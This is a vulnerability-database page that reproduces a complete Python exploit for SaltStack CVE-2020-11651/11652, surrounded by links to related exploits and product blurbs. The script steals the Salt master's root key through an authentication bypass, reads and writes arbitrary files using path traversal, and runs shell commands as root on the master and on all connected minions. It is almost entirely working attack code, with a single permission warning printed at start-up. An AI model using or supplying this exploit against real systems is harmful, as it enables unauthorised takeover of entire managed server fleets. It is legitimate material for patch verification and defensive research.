Lucene search
K

Saltstack 3000.1 Remote Code Execution

🗓️ 05 May 2020 00:00:00Reported by Jasper Lievisse AdriaanseType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 169 Views

Saltstack 3000.1 Remote Code Execution, Authentication Bypas

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Saltstack 3000.1 - Remote Code Execution Exploit
4 May 202000:00
zdt
0day.today
Saltstack 3000.1 Remote Code Execution Exploit
7 May 202000:00
zdt
0day.today
SaltStack Salt Master/Minion Unauthenticated Remote Code Execution Exploit
12 May 202000:00
zdt
GithubExploit
Exploit for CVE-2020-11651
4 May 202011:52
githubexploit
GithubExploit
Exploit for CVE-2020-11651
7 May 202009:17
githubexploit
GithubExploit
Exploit for CVE-2020-11651
4 May 202011:47
githubexploit
GithubExploit
Exploit for CVE-2020-11651
4 May 202020:34
githubexploit
GithubExploit
Exploit for CVE-2020-11651
7 May 202009:17
githubexploit
GithubExploit
Exploit for Path Traversal in Saltstack Salt
17 Jan 202404:15
githubexploit
GithubExploit
Exploit for CVE-2020-11651
7 May 202004:41
githubexploit
Rows per page
`# Exploit Title: Saltstack 3000.1 - Remote Code Execution  
# Date: 2020-05-04  
# Exploit Author: Jasper Lievisse Adriaanse  
# Vendor Homepage: https://www.saltstack.com/  
# Version: < 3000.2, < 2019.2.4, 2017.*, 2018.*  
# Tested on: Debian 10 with Salt 2019.2.0  
# CVE : CVE-2020-11651 and CVE-2020-11652  
# Discription: Saltstack authentication bypass/remote code execution  
#  
# Source: https://github.com/jasperla/CVE-2020-11651-poc  
# This exploit is based on this checker script:  
# https://github.com/rossengeorgiev/salt-security-backports  
  
#!/usr/bin/env python  
#  
# Exploit for CVE-2020-11651 and CVE-2020-11652  
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)  
# This exploit is based on this checker script:  
# https://github.com/rossengeorgiev/salt-security-backports  
  
from __future__ import absolute_import, print_function, unicode_literals  
import argparse  
import datetime  
import os  
import os.path  
import sys  
import time  
  
import salt  
import salt.version  
import salt.transport.client  
import salt.exceptions  
  
def init_minion(master_ip, master_port):  
minion_config = {  
'transport': 'zeromq',  
'pki_dir': '/tmp',  
'id': 'root',  
'log_level': 'debug',  
'master_ip': master_ip,  
'master_port': master_port,  
'auth_timeout': 5,  
'auth_tries': 1,  
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)  
}  
  
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')  
  
# --- check funcs ----  
  
def check_salt_version():  
print("[+] Salt version: {}".format(salt.version.__version__))  
  
vi = salt.version.__version_info__  
  
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):  
return True  
else:  
return False  
  
def check_connection(master_ip, master_port, channel):  
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')  
sys.stdout.flush()  
  
# connection check  
try:  
channel.send({'cmd':'ping'}, timeout=2)  
except salt.exceptions.SaltReqTimeoutError:  
print("OFFLINE")  
sys.exit(1)  
else:  
print("ONLINE")  
  
def check_CVE_2020_11651(channel):  
print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')  
sys.stdout.flush()  
# try to evil  
try:  
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)  
except salt.exceptions.SaltReqTimeoutError:  
print("YES")  
except:  
print("ERROR")  
raise  
else:  
pass  
finally:  
if rets:  
root_key = rets[2]['root']  
return root_key  
  
return None  
  
def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):  
print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')  
sys.stdout.flush()  
  
# try read file  
msg = {  
'cmd': 'get_token',  
'arg': [],  
'token': top_secret_file_path,  
}  
  
try:  
rets = channel.send(msg, timeout=3)  
except salt.exceptions.SaltReqTimeoutError:  
print("YES")  
except:  
print("ERROR")  
raise  
else:  
if debug:  
print()  
print(rets)  
print("NO")  
  
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):  
print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')  
sys.stdout.flush()  
  
# try read file  
msg = {  
'key': root_key,  
'cmd': 'wheel',  
'fun': 'file_roots.read',  
'path': top_secret_file_path,  
'saltenv': 'base',  
}  
  
try:  
rets = channel.send(msg, timeout=3)  
except salt.exceptions.SaltReqTimeoutError:  
print("TIMEOUT")  
except:  
print("ERROR")  
raise  
else:  
if debug:  
print()  
print(rets)  
if rets['data']['return']:  
print("YES")  
else:  
print("NO")  
  
def check_CVE_2020_11652_write1(debug, channel, root_key):  
print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')  
sys.stdout.flush()  
  
# try read file  
msg = {  
'key': root_key,  
'cmd': 'wheel',  
'fun': 'file_roots.write',  
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',  
'data': 'evil',  
'saltenv': 'base',  
}  
  
try:  
rets = channel.send(msg, timeout=3)  
except salt.exceptions.SaltReqTimeoutError:  
print("TIMEOUT")  
except:  
print("ERROR")  
raise  
else:  
if debug:  
print()  
print(rets)  
  
pp(rets)  
if rets['data']['return'].startswith('Wrote'):  
try:  
os.remove('/tmp/salt_CVE_2020_11652')  
except OSError:  
print("Maybe?")  
else:  
print("YES")  
else:  
print("NO")  
  
def check_CVE_2020_11652_write2(debug, channel, root_key):  
print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')  
sys.stdout.flush()  
  
# try read file  
msg = {  
'key': root_key,  
'cmd': 'wheel',  
'fun': 'config.update_config',  
'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',  
'yaml_contents': 'evil',  
'saltenv': 'base',  
}  
  
try:  
rets = channel.send(msg, timeout=3)  
except salt.exceptions.SaltReqTimeoutError:  
print("TIMEOUT")  
except:  
print("ERROR")  
raise  
else:  
if debug:  
print()  
print(rets)  
if rets['data']['return'].startswith('Wrote'):  
try:  
os.remove('/tmp/salt_CVE_2020_11652.conf')  
except OSError:  
print("Maybe?")  
else:  
print("YES")  
else:  
print("NO")  
  
def pwn_read_file(channel, root_key, path, master_ip):  
print("[+] Attemping to read {} from {}".format(path, master_ip))  
sys.stdout.flush()  
  
msg = {  
'key': root_key,  
'cmd': 'wheel',  
'fun': 'file_roots.read',  
'path': path,  
'saltenv': 'base',  
}  
  
rets = channel.send(msg, timeout=3)  
print(rets['data']['return'][0][path])  
  
def pwn_upload_file(channel, root_key, src, dest, master_ip):  
print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))  
sys.stdout.flush()  
  
try:  
fh = open(src, 'rb')  
payload = fh.read()  
fh.close()  
except Exception as e:  
print('[-] Failed to read {}: {}'.format(src, e))  
return  
  
msg = {  
'key': root_key,  
'cmd': 'wheel',  
'fun': 'file_roots.write',  
'saltenv': 'base',  
'data': payload,  
'path': dest,  
}  
  
rets = channel.send(msg, timeout=3)  
print('[ ] {}'.format(rets['data']['return']))  
  
def pwn_exec(channel, root_key, cmd, master_ip, jid):  
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))  
sys.stdout.flush()  
  
msg = {  
'key': root_key,  
'cmd': 'runner',  
'fun': 'salt.cmd',  
'saltenv': 'base',  
'user': 'sudo_user',  
'kwarg': {  
'fun': 'cmd.exec_code',  
'lang': 'python',  
'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)  
},  
'jid': jid,  
}  
  
try:  
rets = channel.send(msg, timeout=3)  
except Exception as e:  
print('[-] Failed to submit job')  
return  
  
if rets.get('jid'):  
print('[+] Successfully scheduled job: {}'.format(rets['jid']))  
  
def pwn_exec_all(channel, root_key, cmd, master_ip, jid):  
print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))  
sys.stdout.flush()  
  
msg = {  
'key': root_key,  
'cmd': '_send_pub',  
'fun': 'cmd.run',  
'user': 'root',  
'arg': [ "/bin/sh -c '{}'".format(cmd) ],  
'tgt': '*',  
'tgt_type': 'glob',  
'ret': '',  
'jid': jid  
}  
  
try:  
rets = channel.send(msg, timeout=3)  
except Exception as e:  
print('[-] Failed to submit job')  
return  
finally:  
if rets == None:  
print('[+] Successfully submitted job to all minions.')  
else:  
print('[-] Failed to submit job')  
  
  
def main():  
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')  
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')  
parser.add_argument('--port', '-p', dest='master_port', default='4506')  
parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')  
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')  
parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')  
parser.add_argument('--read', '-r', dest='read_file')  
parser.add_argument('--upload-src', dest='upload_src')  
parser.add_argument('--upload-dest', dest='upload_dest')  
parser.add_argument('--exec', dest='exec', help='Run a command on the master')  
parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')  
args = parser.parse_args()  
  
print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")  
time.sleep(1)  
  
# Both src and destination are required for uploads  
if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):  
print('[-] Must provide both --upload-src and --upload-dest')  
sys.exit(1)  
  
channel = init_minion(args.master_ip, args.master_port)  
  
if check_salt_version():  
print("[ ] This version of salt is vulnerable! Check results below")  
elif args.force:  
print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")  
else:  
sys.exit()  
  
check_connection(args.master_ip, args.master_port, channel)  
  
root_key = check_CVE_2020_11651(channel)  
if root_key:  
print('\n[*] root key obtained: {}'.format(root_key))  
else:  
print('[-] Failed to find root key...aborting')  
sys.exit(127)  
  
if args.run_checks:  
# Assuming this check runs on the master itself, create a file with "secret" content  
# and abuse CVE-2020-11652 to read it.  
top_secret_file_path = '/tmp/salt_cve_teta'  
with salt.utils.fopen(top_secret_file_path, 'w') as fd:  
fd.write("top secret")  
  
# Again, this assumes we're running this check on the master itself  
with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:  
root_key = keyfd.read()  
  
check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)  
check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)  
check_CVE_2020_11652_write1(debug, channel, root_key)  
check_CVE_2020_11652_write2(debug, channel, root_key)  
os.remove(top_secret_file_path)  
sys.exit(0)  
  
if args.read_file:  
pwn_read_file(channel, root_key, args.read_file, args.master_ip)  
  
if args.upload_src:  
if os.path.isabs(args.upload_dest):  
print('[-] Destination path must be relative; aborting')  
sys.exit(1)  
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)  
  
  
jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())  
  
if args.exec:  
pwn_exec(channel, root_key, args.exec, args.master_ip, jid)  
  
if args.exec_all:  
print("[!] Lester, is this what you want? Hit ^C to abort.")  
time.sleep(2)  
pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)  
  
  
if __name__ == '__main__':  
main()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation